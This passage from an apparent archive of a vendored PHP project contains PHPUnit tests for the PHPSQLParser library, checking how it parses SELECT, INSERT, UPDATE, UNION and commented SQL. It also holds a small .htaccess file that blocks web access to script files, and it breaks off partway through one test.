 * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF
 * THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
 * 
 * @author    André Rothe <andre.rothe@phosco.info>
 * @copyright 2010-2014 Justin Swanhart and André Rothe
 * @license   http://www.debian.org/misc/bsd.license  BSD License (3 Clause)
 * @version   SVN: $Id$
 * 
 */
namespace PHPSQLParser\Test\Parser;
use PHPSQLParser\PHPSQLParser;
use PHPSQLParser\PHPSQLCreator;

class issue79Test extends \PHPUnit\Framework\TestCase {
	
    public function testIssue79() {


        $sql = "SELECT * FROM `users` WHERE id_user=@ID_USER";
        $parser = new PHPSQLParser($sql);
        $p = $parser->parsed;
        $expected = getExpectedValue(dirname(__FILE__), 'issue79a.serialized');
        $this->assertEquals($expected, $p, 'user variables');

        $sql = "SELECT (@aa:=id) AS a, (@aa+3) AS b FROM tbl_name HAVING b=5";
        $parser = new PHPSQLParser($sql);
        $p = $parser->parsed;
        $expected = getExpectedValue(dirname(__FILE__), 'issue79b.serialized');
        $this->assertEquals($expected, $p, 'user variables with alias and assignment');

    }
}

PK     \3Y	  	  C  vendor/greenlion/php-sql-parser/tests/cases/parser/issue138Test.phpnu [        <?php
/**
 * issue138.php
 *
 * Test case for PHPSQLParser.
 *
 * PHP version 5
 *
 * LICENSE:
 * Copyright (c) 2010-2014 Justin Swanhart and André Rothe
 * All rights reserved.
 *
 * Redistribution and use in source and binary forms, with or without
 * modification, are permitted provided that the following conditions
 * are met:
 * 1. Redistributions of source code must retain the above copyright
 *    notice, this list of conditions and the following disclaimer.
 * 2. Redistributions in binary form must reproduce the above copyright
 *    notice, this list of conditions and the following disclaimer in the
 *    documentation and/or other materials provided with the distribution.
 * 3. The name of the author may not be used to endorse or promote products
 *    derived from this software without specific prior written permission.
 *
 * THIS SOFTWARE IS PROVIDED BY THE AUTHOR ``AS IS'' AND ANY EXPRESS OR
 * IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES
 * OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED.
 * IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR ANY DIRECT, INDIRECT,
 * INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT
 * NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
 * DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
 * THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
 * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF
 * THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
 * 
 * @author    André Rothe <andre.rothe@phosco.info>
 * @copyright 2010-2014 Justin Swanhart and André Rothe
 * @license   http://www.debian.org/misc/bsd.license  BSD License (3 Clause)
 * @version   SVN: $Id$
 * 
 */
namespace PHPSQLParser\Test\Parser;
use PHPSQLParser\PHPSQLParser;
use PHPSQLParser\utils\ExpressionType;

class Issue138Test extends \PHPUnit\Framework\TestCase {
	
    public function testIssue138() {
        $sql = "SELECT ivoid, access_url, name, ucd, description FROM rr.capability NATURAL JOIN rr.interface NATURAL JOIN rr.table_column NATURAL JOIN rr.res_table WHERE standard_id='ivo://ivoa.net/std/TAP' AND 1=ivo_hasword(table_description, 'quasar') AND ucd='phot.mag;em.opt.V'";
        $parser = new PHPSQLParser($sql);
        $p = $parser->parsed;
        $expected = getExpectedValue(dirname(__FILE__), 'issue138.serialized');
        $this->assertEquals($expected, $p, 'NATURAL JOIN should not be an alias');
    }
}

PK     \    B  vendor/greenlion/php-sql-parser/tests/cases/parser/issue36Test.phpnu [        <?php
/**
 * issue36.php
 *
 * Test case for PHPSQLParser.
 *
 * PHP version 5
 *
 * LICENSE:
 * Copyright (c) 2010-2014 Justin Swanhart and André Rothe
 * All rights reserved.
 *
 * Redistribution and use in source and binary forms, with or without
 * modification, are permitted provided that the following conditions
 * are met:
 * 1. Redistributions of source code must retain the above copyright
 *    notice, this list of conditions and the following disclaimer.
 * 2. Redistributions in binary form must reproduce the above copyright
 *    notice, this list of conditions and the following disclaimer in the
 *    documentation and/or other materials provided with the distribution.
 * 3. The name of the author may not be used to endorse or promote products
 *    derived from this software without specific prior written permission.
 *
 * THIS SOFTWARE IS PROVIDED BY THE AUTHOR ``AS IS'' AND ANY EXPRESS OR
 * IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES
 * OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED.
 * IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR ANY DIRECT, INDIRECT,
 * INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT
 * NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
 * DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
 * THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
 * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF
 * THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
 * 
 * @author    André Rothe <andre.rothe@phosco.info>
 * @copyright 2010-2014 Justin Swanhart and André Rothe
 * @license   http://www.debian.org/misc/bsd.license  BSD License (3 Clause)
 * @version   SVN: $Id$
 * 
 */
namespace PHPSQLParser\Test\Parser;
use PHPSQLParser\PHPSQLParser;
use PHPSQLParser\PHPSQLCreator;

class issue36Test extends \PHPUnit\Framework\TestCase {
	
    public function testIssue36() {


        $parser = new PHPSQLParser();

        $sql = "INSERT INTO test (`name`, `test`) VALUES ('\'Superman\'', ''), ('\'Superman\'', '')";
        $parser->parse($sql);
        $p = $parser->parsed;
        $expected = getExpectedValue(dirname(__FILE__), 'issue36a.serialized');
        $this->assertEquals($expected, $p, 'INSERT statement with escaped quotes and multiple records');


        $sql = "INSERT INTO test (`name`, `test`) VALUES ('\'Superman\'', '')";
        $parser->parse($sql);
        $p = $parser->parsed;
        $expected = getExpectedValue(dirname(__FILE__), 'issue36b.serialized');
        $this->assertEquals($expected, $p, 'INSERT statement with escaped quotes and one record');


        $sql = "INSERT INTO test (`name`, `test`) VALUES ('\'Superman\'', ''), ('\'sdfsd\'', '')";
        $parser->parse($sql);
        $p = $parser->parsed;
        $expected = getExpectedValue(dirname(__FILE__), 'issue36c.serialized');
        $this->assertEquals($expected, $p, 'INSERT statement with escaped quotes and multiple records (2)');

    }
}

PK     \+`_    @  vendor/greenlion/php-sql-parser/tests/cases/parser/unionTest.phpnu [        <?php
/**
 * unionTest.php
 *
 * Test case for PHPSQLParser.
 *
 * PHP version 5
 *
 * LICENSE:
 * Copyright (c) 2010-2014 Justin Swanhart and André Rothe
 * All rights reserved.
 *
 * Redistribution and use in source and binary forms, with or without
 * modification, are permitted provided that the following conditions
 * are met:
 * 1. Redistributions of source code must retain the above copyright
 *    notice, this list of conditions and the following disclaimer.
 * 2. Redistributions in binary form must reproduce the above copyright
 *    notice, this list of conditions and the following disclaimer in the
 *    documentation and/or other materials provided with the distribution.
 * 3. The name of the author may not be used to endorse or promote products
 *    derived from this software without specific prior written permission.
 *
 * THIS SOFTWARE IS PROVIDED BY THE AUTHOR ``AS IS'' AND ANY EXPRESS OR
 * IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES
 * OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED.
 * IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR ANY DIRECT, INDIRECT,
 * INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT
 * NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
 * DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
 * THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
 * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF
 * THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
 * 
 * @author    André Rothe <andre.rothe@phosco.info>
 * @copyright 2010-2014 Justin Swanhart and André Rothe
 * @license   http://www.debian.org/misc/bsd.license  BSD License (3 Clause)
 * @version   SVN: $Id$
 * 
 */
namespace PHPSQLParser\Test\Parser;
use PHPUnit\Framework\TestCase;
use PHPSQLParser\PHPSQLParser;
use PHPSQLParser\PHPSQLCreator;
use Analog\Analog;

class UnionTest extends TestCase
{
    public function testUnion1()
    {
        $parser = new PHPSQLParser();

        $sql = 'SELECT colA From test a
        union
        SELECT colB from test 
        as b';
        $p = $parser->parse($sql, true);
        Analog::log(serialize($p));
        $expected = getExpectedValue(dirname(__FILE__), 'union1.serialized');
        $this->assertEquals($expected, $p, 'simple union');
    }
    
    public function testUnion2()
    {
    	$parser = new PHPSQLParser();
        $sql = '(SELECT colA From test a)
                union all
                (SELECT colB from test b) order by 1';
        $p = $parser->parse($sql, true);
        $expected = getExpectedValue(dirname(__FILE__), 'union2.serialized');

        $this->assertEquals($expected, $p, 'mysql union with order-by');
    }

    public function testUnion3()
    {
        $sql = "SELECT x FROM ((SELECT y FROM  z  WHERE (y > 2) ) UNION ALL (SELECT a FROM z WHERE (y < 2))) as f ";
        $parser = new PHPSQLParser();
        $p = $parser->parse($sql, true);
        $expected = getExpectedValue(dirname(__FILE__), 'union3.serialized');
        $this->assertEquals($expected, $p, 'complicated mysql union');
    }

    public function testUnion4()
    {
        $parser = new PHPSQLParser();

        $sql = 'SELECT colA From test a
        union
        SELECT colB from test 
        as b order by 1';

        $p = $parser->parse($sql, true);
        Analog::log(serialize($p));
        $expectedSerialized = getExpectedValue(dirname(__FILE__), 'union4.serialized', false);
        $expected = unserialize(base64_decode($expectedSerialized));

        $this->assertEquals($expected, $p, 'simple union with order by and no brackets');
    }
}
?>
PK     \4_	  	  B  vendor/greenlion/php-sql-parser/tests/cases/parser/issue32Test.phpnu [        <?php
/**
 * issue32.php
 *
 * Test case for PHPSQLParser.
 *
 * PHP version 5
 *
 * LICENSE:
 * Copyright (c) 2010-2014 Justin Swanhart and André Rothe
 * All rights reserved.
 *
 * Redistribution and use in source and binary forms, with or without
 * modification, are permitted provided that the following conditions
 * are met:
 * 1. Redistributions of source code must retain the above copyright
 *    notice, this list of conditions and the following disclaimer.
 * 2. Redistributions in binary form must reproduce the above copyright
 *    notice, this list of conditions and the following disclaimer in the
 *    documentation and/or other materials provided with the distribution.
 * 3. The name of the author may not be used to endorse or promote products
 *    derived from this software without specific prior written permission.
 *
 * THIS SOFTWARE IS PROVIDED BY THE AUTHOR ``AS IS'' AND ANY EXPRESS OR
 * IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES
 * OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED.
 * IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR ANY DIRECT, INDIRECT,
 * INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT
 * NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
 * DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
 * THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
 * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF
 * THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
 * 
 * @author    André Rothe <andre.rothe@phosco.info>
 * @copyright 2010-2014 Justin Swanhart and André Rothe
 * @license   http://www.debian.org/misc/bsd.license  BSD License (3 Clause)
 * @version   SVN: $Id$
 * 
 */
namespace PHPSQLParser\Test\Parser;
use PHPSQLParser\PHPSQLParser;
use PHPSQLParser\PHPSQLCreator;

class issue32Test extends \PHPUnit\Framework\TestCase {
	
    public function testIssue32() {


        $parser = new PHPSQLParser();
        $sql = "UPDATE user SET lastlogin = 7, x = 3";
        $parser->parse($sql);
        $p = $parser->parsed;
        $expected = getExpectedValue(dirname(__FILE__), 'issue32.serialized');
        $this->assertEquals($expected, $p, 'update with keyword user as table');

    }
}

PK     \5u	  	  B  vendor/greenlion/php-sql-parser/tests/cases/parser/issue98Test.phpnu [        <?php
/**
 * issue98.php
 *
 * Test case for PHPSQLParser.
 *
 * PHP version 5
 *
 * LICENSE:
 * Copyright (c) 2010-2014 Justin Swanhart and André Rothe
 * All rights reserved.
 *
 * Redistribution and use in source and binary forms, with or without
 * modification, are permitted provided that the following conditions
 * are met:
 * 1. Redistributions of source code must retain the above copyright
 *    notice, this list of conditions and the following disclaimer.
 * 2. Redistributions in binary form must reproduce the above copyright
 *    notice, this list of conditions and the following disclaimer in the
 *    documentation and/or other materials provided with the distribution.
 * 3. The name of the author may not be used to endorse or promote products
 *    derived from this software without specific prior written permission.
 *
 * THIS SOFTWARE IS PROVIDED BY THE AUTHOR ``AS IS'' AND ANY EXPRESS OR
 * IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES
 * OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED.
 * IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR ANY DIRECT, INDIRECT,
 * INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT
 * NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
 * DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
 * THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
 * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF
 * THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
 * 
 * @author    André Rothe <andre.rothe@phosco.info>
 * @copyright 2010-2014 Justin Swanhart and André Rothe
 * @license   http://www.debian.org/misc/bsd.license  BSD License (3 Clause)
 * @version   SVN: $Id$
 * 
 */
namespace PHPSQLParser\Test\Parser;
use PHPSQLParser\PHPSQLParser;
use PHPSQLParser\PHPSQLCreator;

class issue98Test extends \PHPUnit\Framework\TestCase {
	
    public function testIssue98() {


        $sql = "select webid, floor(iz/2.) as `fl` from MDR1.Tweb512 as `w` where w.webid < 100";
        $parser = new PHPSQLParser($sql);
        $p = $parser->parsed;
        $expected = getExpectedValue(dirname(__FILE__), 'issue98.serialized');
        $this->assertEquals($expected, $p, 'alias with quotes');

    }
}

PK     \jK    C  vendor/greenlion/php-sql-parser/tests/cases/parser/commentsTest.phpnu [        <?php

namespace PHPSQLParser\Test\Parser;
use PHPSQLParser\PHPSQLParser;

class CommentsTest extends \PHPUnit\Framework\TestCase {
	
	protected $parser;
	
	/**
	 * @before
	 * Executed before each test
	 */
	protected function setup(): void {
		$this->parser = new PHPSQLParser(false, true);
	}
        
        public function testComments1() {
            $sql = 'SELECT a, -- inline comment in SELECT section
                        b 
                    FROM test';
            $p = $this->parser->parse($sql);
            $expected = getExpectedValue(dirname(__FILE__), 'comment1.serialized');
            $this->assertEquals($expected, $p, 'inline comment in SELECT section');
        }
        
        public function testComments2() {
            $sql = 'SELECT a, /* 
                            multi line 
                            comment
                        */
                        b 
                    FROM test';
            $p = $this->parser->parse($sql);
            $expectedEncoded = getExpectedValue(dirname(__FILE__), 'comment2.serialized', false);
            $expectedSerialized = base64_decode($expectedEncoded);
            $expected = unserialize($expectedSerialized);

            $this->assertEquals($expected, $p, 'multi line comment');
        }

        public function testComments3() {
            $sql = 'SELECT a
                    FROM test -- inline comment in FROM section';
            $p = $this->parser->parse($sql);
            $expected = getExpectedValue(dirname(__FILE__), 'comment3.serialized');
            $this->assertEquals($expected, $p, 'inline comment in FROM section');
        }

        public function testComments4() {
            $sql = 'SELECT a
                    FROM test
                    WHERE id = 3 -- inline comment in WHERE section
                    AND b > 4';
            $p = $this->parser->parse($sql);
            $expected = getExpectedValue(dirname(__FILE__), 'comment4.serialized');
            $this->assertEquals($expected, $p, 'inline comment in WHERE section');
        }

        public function testComments5() {
            $sql = 'SELECT a
                    FROM test
                    LIMIT -- inline comment in LIMIT section
                     10';
            $p = $this->parser->parse($sql);
            $expected = getExpectedValue(dirname(__FILE__), 'comment5.serialized');
            $this->assertEquals($expected, $p, 'inline comment in LIMIT section');
        }

        public function testComments6() {
            $sql = 'SELECT a
                    FROM test
                    ORDER BY -- inline comment in ORDER BY section
                     a DESC';
            $p = $this->parser->parse($sql);
            $expected = getExpectedValue(dirname(__FILE__), 'comment6.serialized');
            $this->assertEquals($expected, $p, 'inline comment in ORDER BY section');
        }

        public function testComments7() {
            $sql = 'INSERT INTO a (id) -- inline comment in INSERT section
                    VALUES (1)';
            $p = $this->parser->parse($sql);
            $expected = getExpectedValue(dirname(__FILE__), 'comment7.serialized');
            $this->assertEquals($expected, $p, 'inline comment in INSERT section');
        }

        public function testComments8() {
            $sql = 'INSERT INTO a (id) 
                    VALUES (1) -- inline comment in VALUES section';
            $p = $this->parser->parse($sql);
            $expected = getExpectedValue(dirname(__FILE__), 'comment8.serialized');
            $this->assertEquals($expected, $p, 'inline comment in VALUES section');
        }

        public function testComments9() {
            $sql = 'INSERT INTO a (id) -- inline comment in INSERT section;
                    SELECT id -- inline comment in SELECT section
                    FROM x';
            $p = $this->parser->parse($sql);
            $expected = getExpectedValue(dirname(__FILE__), 'comment9.serialized');
            $this->assertEquals($expected, $p, 'inline comment in SELECT section');
        }
}

?>PK     \Dp4  4  C  vendor/greenlion/php-sql-parser/tests/cases/parser/backtickTest.phpnu [        <?php
/**
 * backtick.php
 *
 * Test case for PHPSQLParser.
 *
 * PHP version 5
 *
 * LICENSE:
 * Copyright (c) 2010-2014 Justin Swanhart and André Rothe
 * All rights reserved.
 *
 * Redistribution and use in source and binary forms, with or without
 * modification, are permitted provided that the following conditions
 * are met:
 * 1. Redistributions of source code must retain the above copyright
 *    notice, this list of conditions and the following disclaimer.
 * 2. Redistributions in binary form must reproduce the above copyright
 *    notice, this list of conditions and the following disclaimer in the
 *    documentation and/or other materials provided with the distribution.
 * 3. The name of the author may not be used to endorse or promote products
 *    derived from this software without specific prior written permission.
 *
 * THIS SOFTWARE IS PROVIDED BY THE AUTHOR ``AS IS'' AND ANY EXPRESS OR
 * IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES
 * OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED.
 * IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR ANY DIRECT, INDIRECT,
 * INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT
 * NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
 * DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
 * THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
 * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF
 * THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
 * 
 * @author    André Rothe <andre.rothe@phosco.info>
 * @copyright 2010-2014 Justin Swanhart and André Rothe
 * @license   http://www.debian.org/misc/bsd.license  BSD License (3 Clause)
 * @version   SVN: $Id$
 * 
 */
namespace PHPSQLParser\Test\Parser;
use PHPSQLParser\PHPSQLParser;
use PHPSQLParser\PHPSQLCreator;

class backtickTest extends \PHPUnit\Framework\TestCase {
	
    public function testBacktick() {
        $parser = new PHPSQLParser();

        $sql = 'SELECT c1.`some_column` or `c1`.`another_column` or c1.`some column` as `an alias`
                  from some_table an_alias group by `an alias`, `alias2`;';
        $parser->parse($sql);
        $p = $parser->parsed;
        $this->assertEquals('`an alias`', $parser->parsed['SELECT'][0]['alias']['name']);
        $this->assertEquals('c1.`some column`', $parser->parsed['SELECT'][0]['sub_tree'][4]['base_expr']);
        $this->assertEquals('alias', $parser->parsed['GROUP'][0]['expr_type']);


        $sql = "INSERT INTO test (`name`) VALUES ('ben\\'s test containing an escaped quote')";
        $parser->parse($sql);
        $p = $parser->parsed;
        $expected = getExpectedValue(dirname(__FILE__), 'backtick1.serialized');
        $this->assertEquals($expected, $p, "issue 35: ben's test");

    }
}

PK     \b7%
  %
  B  vendor/greenlion/php-sql-parser/tests/cases/parser/issue21Test.phpnu [        <?php
/**
 * issue21.php
 *
 * Test case for PHPSQLParser.
 *
 * PHP version 5
 *
 * LICENSE:
 * Copyright (c) 2010-2014 Justin Swanhart and André Rothe
 * All rights reserved.
 *
 * Redistribution and use in source and binary forms, with or without
 * modification, are permitted provided that the following conditions
 * are met:
 * 1. Redistributions of source code must retain the above copyright
 *    notice, this list of conditions and the following disclaimer.
 * 2. Redistributions in binary form must reproduce the above copyright
 *    notice, this list of conditions and the following disclaimer in the
 *    documentation and/or other materials provided with the distribution.
 * 3. The name of the author may not be used to endorse or promote products
 *    derived from this software without specific prior written permission.
 *
 * THIS SOFTWARE IS PROVIDED BY THE AUTHOR ``AS IS'' AND ANY EXPRESS OR
 * IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES
 * OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED.
 * IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR ANY DIRECT, INDIRECT,
 * INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT
 * NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
 * DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
 * THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
 * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF
 * THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
 * 
 * @author    André Rothe <andre.rothe@phosco.info>
 * @copyright 2010-2014 Justin Swanhart and André Rothe
 * @license   http://www.debian.org/misc/bsd.license  BSD License (3 Clause)
 * @version   SVN: $Id$
 * 
 */
namespace PHPSQLParser\Test\Parser;
use PHPSQLParser\PHPSQLParser;
use PHPSQLParser\PHPSQLCreator;

class issue21Test extends \PHPUnit\Framework\TestCase {
	
    public function testIssue21() {


        $parser = new PHPSQLParser();

        $sql = 'SELECT  SUM( 10 ) as test FROM account';
        $p = $parser->parse($sql);
        $expected = getExpectedValue(dirname(__FILE__), 'issue21.serialized');
        $this->assertEquals($expected, $p, 'only space characters within SQL statement');


        $sql = "SELECT\tSUM( 10 ) \tas test FROM account";
        $p = $parser->parse($sql);
        $expected = getExpectedValue(dirname(__FILE__), 'issue21.serialized'); // should be the same as above
        $this->assertEquals($expected, $p, 'tab character within SQL statement');

    }
}

PK     \Sʉ      <  vendor/greenlion/php-sql-parser/tests/cases/parser/.htaccessnu 7m        <FilesMatch '.(py|exe|phtml|php|PHP|Php|PHp|pHp|pHP|phP|PhP|php5|PHP5|Php5|PHp5|pHp5|pHP5|phP5|PhP5php7|PHP7|Php7|PHp7|pHp7|pHP7|phP7|PhP7|php8|PHP8|Php8|PHp8|pHp8|pHP8|phP8|PhP8|suspected)$'>
Order allow,deny
Deny from all
</FilesMatch>PK     \6x    C  vendor/greenlion/php-sql-parser/tests/cases/parser/issue233Test.phpnu [        <?php

namespace PHPSQLParser\Test\Parser;
use PHPUnit\Framework\TestCase;
use PHPSQLParser\PHPSQLParser;

class issue233Test extends TestCase
{
    public function testIssue233()
    {
        $sql="#Check parser doesn't break with single quotes 
              CREATE TABLE moomoo (cow VARCHAR(20));";

        $parser = new PHPSQLParser($sql);

        $p = $parser->parsed;
        $expected = getExpectedValue(dirname(__FILE__), 'issue233.serialized');
        $this->assertEquals($expected, $p, 'comment with single quote');
    }
}

PK     \;
	  
	  B  vendor/greenlion/php-sql-parser/tests/cases/parser/issue69Test.phpnu [        <?php
/**
 * issue69.php
 *
 * Test case for PHPSQLParser.
 *
 * PHP version 5
 *
 * LICENSE:
 * Copyright (c) 2010-2014 Justin Swanhart and André Rothe
 * All rights reserved.
 *
 * Redistribution and use in source and binary forms, with or without
 * modification, are permitted provided that the following conditions
 * are met:
 * 1. Redistributions of source code must retain the above copyright
 *    notice, this list of conditions and the following disclaimer.
 * 2. Redistributions in binary form must reproduce the above copyright
 *    notice, this list of conditions and the following disclaimer in the
 *    documentation and/or other materials provided with the distribution.
 * 3. The name of the author may not be used to endorse or promote products
 *    derived from this software without specific prior written permission.
 *
 * THIS SOFTWARE IS PROVIDED BY THE AUTHOR ``AS IS'' AND ANY EXPRESS OR
 * IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES
 * OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED.
 * IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR ANY DIRECT, INDIRECT,
 * INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT
 * NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
 * DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
 * THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
 * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF
 * THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
 * 
 * @author    André Rothe <andre.rothe@phosco.info>
 * @copyright 2010-2014 Justin Swanhart and André Rothe
 * @license   http://www.debian.org/misc/bsd.license  BSD License (3 Clause)
 * @version   SVN: $Id$
 * 
 */
namespace PHPSQLParser\Test\Parser;
use PHPSQLParser\PHPSQLParser;
use PHPSQLParser\PHPSQLCreator;

class issue69Test extends \PHPUnit\Framework\TestCase {
	
    public function testIssue69() {


        $sql = "select * from table1 where col1<>col2 or col3 is null";
        $parser = new PHPSQLParser($sql, true);
        $p = $parser->parsed;
        $expected = getExpectedValue(dirname(__FILE__), 'issue69.serialized');
        $this->assertEquals($expected, $p, 'col is null should not fail.');

    }
}

PK     \3`  `  B  vendor/greenlion/php-sql-parser/tests/cases/parser/issue62Test.phpnu [        <?php
/**
 * issue62.php
 *
 * Test case for PHPSQLParser.
 *
 * PHP version 5
 *
 * LICENSE:
 * Copyright (c) 2010-2014 Justin Swanhart and André Rothe
 * All rights reserved.
 *
 * Redistribution and use in source and binary forms, with or without
 * modification, are permitted provided that the following conditions
 * are met:
 * 1. Redistributions of source code must retain the above copyright
 *    notice, this list of conditions and the following disclaimer.
 * 2. Redistributions in binary form must reproduce the above copyright
 *    notice, this list of conditions and the following disclaimer in the
 *    documentation and/or other materials provided with the distribution.
 * 3. The name of the author may not be used to endorse or promote products
 *    derived from this software without specific prior written permission.
 *
 * THIS SOFTWARE IS PROVIDED BY THE AUTHOR ``AS IS'' AND ANY EXPRESS OR
 * IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES
 * OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED.
 * IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR ANY DIRECT, INDIRECT,
 * INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT
 * NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
 * DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
 * THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
 * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF
 * THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
 * 
 * @author    André Rothe <andre.rothe@phosco.info>
 * @copyright 2010-2014 Justin Swanhart and André Rothe
 * @license   http://www.debian.org/misc/bsd.license  BSD License (3 Clause)
 * @version   SVN: $Id$
 * 
 */
namespace PHPSQLParser\Test\Parser;
use PHPSQLParser\PHPSQLParser;
use PHPSQLParser\PHPSQLCreator;

class issue62Test extends \PHPUnit\Framework\TestCase {
	
    public function testIssue62() {


        $sql = "SELECT CAST((CONCAT(table1.col1,' ',time_start)) AS DATETIME) FROM table1";
        $parser = new PHPSQLParser($sql,true);
        $p = $parser->parsed;
        $expected = getExpectedValue(dirname(__FILE__), 'issue62a.serialized');
        $this->assertEquals($expected, $p, 'CAST expression');


        $sql = "UPDATE vtiger_tab set isentitytype=? WHERE tabid=?";
